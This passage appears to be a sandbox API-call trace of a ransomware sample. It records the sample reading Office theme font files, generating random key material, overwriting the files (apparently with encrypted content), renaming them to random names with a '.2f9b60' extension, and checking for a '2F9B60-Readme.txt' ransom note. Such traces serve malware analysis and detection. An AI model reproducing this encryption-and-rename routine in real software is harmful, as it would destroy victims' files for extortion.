FileInformationClass=0x4) returned 0x0 [0123.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0123.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0123.501] FlushFileBuffers (hFile=0x17f0) returned 1 [0124.170] CloseHandle (hObject=0x17f0) returned 1 [0124.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202acdc0 [0124.171] wcscpy (in: _Dest=0x202acdc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.171] wcscat (in: _Dest=0x202acdc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acdc0) returned 1 [0124.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac9a0) returned 1 Thread: id = 1420 os_tid = 0x1884 [0119.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml")) returned 0x20 [0119.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml", dwFileAttributes=0x20) returned 1 [0119.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17ec [0119.590] GetFileSizeEx (in: hFile=0x17ec, lpFileSize=0x3f84f820 | out: lpFileSize=0x3f84f820*=3631) returned 1 [0119.590] SetFilePointerEx (in: hFile=0x17ec, liDistanceToMove=0xe2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.590] ReadFile (in: hFile=0x17ec, lpBuffer=0x3f84f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f84f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3f84f7a0*, lpNumberOfBytesRead=0x3f84f7e8*=0x4, lpOverlapped=0x0) returned 1 [0119.819] SetFilePointerEx (in: hFile=0x17ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0119.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0119.820] NtQuerySystemTime (in: CurrentTime=0x3f84f6e0 | out: CurrentTime=0x3f84f6e0*=132462177252286000) returned 0x0 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x5f1686d3 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x3ace60ea [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x7ec1c965 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x30d0b900 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x3d22fd63 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x5f4ee6ec [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x454a6cfd [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x1ee2f295 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x7e647b77 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x2307f1c2 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x67468319 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x36d3b6d4 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x48c33897 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x6d32acb8 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x6123f223 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x7902259 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x5b3da152 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x36466b8e [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x66b73d2e [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x665b00e0 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0xb4c82bd [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x6176cd5c [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x1b6e450 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x1fdc479d [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x482a2877 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x1dd16a7b [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x1d4a1501 [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x3231f4df [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x226b9caa [0119.820] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x6048b5e2 [0119.821] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x52caa700 [0119.821] RtlRandomEx (in: Seed=0x3f84f6d0 | out: Seed=0x3f84f6d0) returned 0x3bf52782 [0119.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0119.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c90 [0119.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0119.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c90) returned 1 [0119.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0119.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0119.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c90 [0119.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f5f0f0 [0119.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f62d00 [0119.830] ReadFile (in: hFile=0x17ec, lpBuffer=0x41f5f0f0, nNumberOfBytesToRead=0xe2f, lpNumberOfBytesRead=0x3f84f6d0, lpOverlapped=0x0 | out: lpBuffer=0x41f5f0f0*, lpNumberOfBytesRead=0x3f84f6d0*=0xe2f, lpOverlapped=0x0) returned 1 [0119.830] SetFilePointerEx (in: hFile=0x17ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.830] WriteFile (in: hFile=0x17ec, lpBuffer=0x41f62d00*, nNumberOfBytesToWrite=0xe2f, lpNumberOfBytesWritten=0x3f84f6d4, lpOverlapped=0x0 | out: lpBuffer=0x41f62d00*, lpNumberOfBytesWritten=0x3f84f6d4*=0xe2f, lpOverlapped=0x0) returned 1 [0160.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20f0 [0160.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0160.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2120) returned 1 [0160.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f62d00) returned 1 [0160.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5f0f0) returned 1 [0160.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c90) returned 1 [0160.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0160.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a2120 [0160.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0160.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c90 [0160.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2150 [0160.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2150) returned 1 [0160.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a2150 [0160.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2180 [0160.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a21b0 [0160.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a21b0) returned 1 [0160.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c90) returned 1 [0160.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0160.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1ce131f0 [0160.827] SetFilePointerEx (in: hFile=0x17ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.827] WriteFile (in: hFile=0x17ec, lpBuffer=0x1ce131f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f84f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1ce131f0*, lpNumberOfBytesWritten=0x3f84f7f0*=0x10c, lpOverlapped=0x0) returned 1 [0165.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e200 [0165.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e200) returned 1 [0165.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x2050e200 [0165.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e1d0 [0165.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e110 [0165.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e110) returned 1 [0165.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fc70 [0165.527] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="eb") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="65") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="b6") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="ec") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="05") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="2d") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="d3") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="b7") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="40") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="25") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="b1") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="f7") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="f3") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="6e") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="00") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="ea") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="97") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="62") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="be") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="85") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="98") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="72") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="a0") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="71") returned 2 [0165.527] sprintf (in: _Dest=0x1cd9fca0, _Format="%c%c" | out: _Dest="80") returned 2 [0165.528] sprintf (in: _Dest=0x1cd9fca2, _Format="%c%c" | out: _Dest="b2") returned 2 [0165.528] RtlInitAnsiString (in: DestinationString=0x3f84f868, SourceString="eb65b6ec052dd3b74025b1f7f36e00ea9762be859872a07180b2" | out: DestinationString="eb65b6ec052dd3b74025b1f7f36e00ea9762be859872a07180b2") [0165.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f84f838, SourceString="eb65b6ec052dd3b74025b1f7f36e00ea9762be859872a07180b2", AllocateDestinationString=1 | out: DestinationString="eb65b6ec052dd3b74025b1f7f36e00ea9762be859872a07180b2") returned 0x0 [0165.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869c40 [0165.528] RtlFreeAnsiString (AnsiString="e") [0165.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e200) returned 1 [0165.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e1d0) returned 1 [0165.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce131f0) returned 1 [0165.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2150) returned 1 [0165.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2180) returned 1 [0165.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2120) returned 1 [0165.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a20f0) returned 1 [0165.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0165.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0165.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0165.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36990 [0165.531] wcscat (in: _Dest=0x42c36990, _Source="eb65b6ec052dd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\eb65b6ec052dd") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\eb65b6ec052dd" [0165.531] wcscat (in: _Dest=0x42c36990, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\eb65b6ec052dd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\eb65b6ec052dd.2f9b60" [0165.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\eb65b6ec052dd.2f9b60", NtPathName=0x3f84f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\eb65b6ec052dd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced03c0 [0165.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced03c0) returned 1 [0165.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c347f0) returned 1 [0165.534] NtQueryInformationFile (in: FileHandle=0x17ec, IoStatusBlock=0x3f84f878, FileInformation=0x3f84f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f84f878, FileInformation=0x3f84f888) returned 0x0 [0165.534] NtSetInformationFile (FileHandle=0x17ec, IoStatusBlock=0x3f84f878, FileInformation=0x3f84f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36990) returned 1 [0165.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.536] FlushFileBuffers (hFile=0x17ec) returned 1 [0166.280] CloseHandle (hObject=0x17ec) returned 1 [0203.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202acd10 [0203.276] wcscpy (in: _Dest=0x202acd10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0203.276] wcscat (in: _Dest=0x202acd10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0203.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0203.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acd10) returned 1 [0203.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aca50) returned 1 Thread: id = 1421 os_tid = 0x1888 [0119.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml")) returned 0x20 [0119.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml", dwFileAttributes=0x20) returned 1 [0119.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17fc [0119.595] GetFileSizeEx (in: hFile=0x17fc, lpFileSize=0x3f9df6a0 | out: lpFileSize=0x3f9df6a0*=3509) returned 1 [0119.595] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0xdb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.595] ReadFile (in: hFile=0x17fc, lpBuffer=0x3f9df620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f9df668, lpOverlapped=0x0 | out: lpBuffer=0x3f9df620*, lpNumberOfBytesRead=0x3f9df668*=0x4, lpOverlapped=0x0) returned 1 [0119.777] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860240 [0119.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860570 [0119.777] NtQuerySystemTime (in: CurrentTime=0x3f9df560 | out: CurrentTime=0x3f9df560*=132462177251974000) returned 0x0 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x2eee7b32 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x4933d9f9 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0xc6e232e [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x65d3efba [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x63f69bbf [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x100cf87f [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x75907aa1 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x5d63e663 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x5a5bed62 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x430f71ed [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x36fa0581 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x7fa78bd0 [0119.777] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x4480f924 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x48fdff0a [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0xa6bdbbc [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x119b961a [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x3321f4f1 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x218047e4 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x6bfc93be [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x26d6581a [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x5a5aac37 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x65a682c [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x603b6c65 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x4cfdb8b3 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x146efbcb [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x31fe1ea0 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x2411764f [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x5a754204 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x6123f223 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x23c15b6f [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x31514340 [0119.778] RtlRandomEx (in: Seed=0x3f9df550 | out: Seed=0x3f9df550) returned 0x55c9abc [0119.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860510 [0119.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0119.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605a0 [0119.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0119.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860570) returned 1 [0119.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ee0 [0119.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0119.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20451ef0 [0119.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f8c1b0 [0119.787] ReadFile (in: hFile=0x17fc, lpBuffer=0x20451ef0, nNumberOfBytesToRead=0xdb5, lpNumberOfBytesRead=0x3f9df550, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesRead=0x3f9df550*=0xdb5, lpOverlapped=0x0) returned 1 [0119.788] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.788] WriteFile (in: hFile=0x17fc, lpBuffer=0x41f8c1b0*, nNumberOfBytesToWrite=0xdb5, lpNumberOfBytesWritten=0x3f9df554, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesWritten=0x3f9df554*=0xdb5, lpOverlapped=0x0) returned 1 [0160.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a21b0 [0160.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a21e0 [0160.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a21e0) returned 1 [0160.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f8c1b0) returned 1 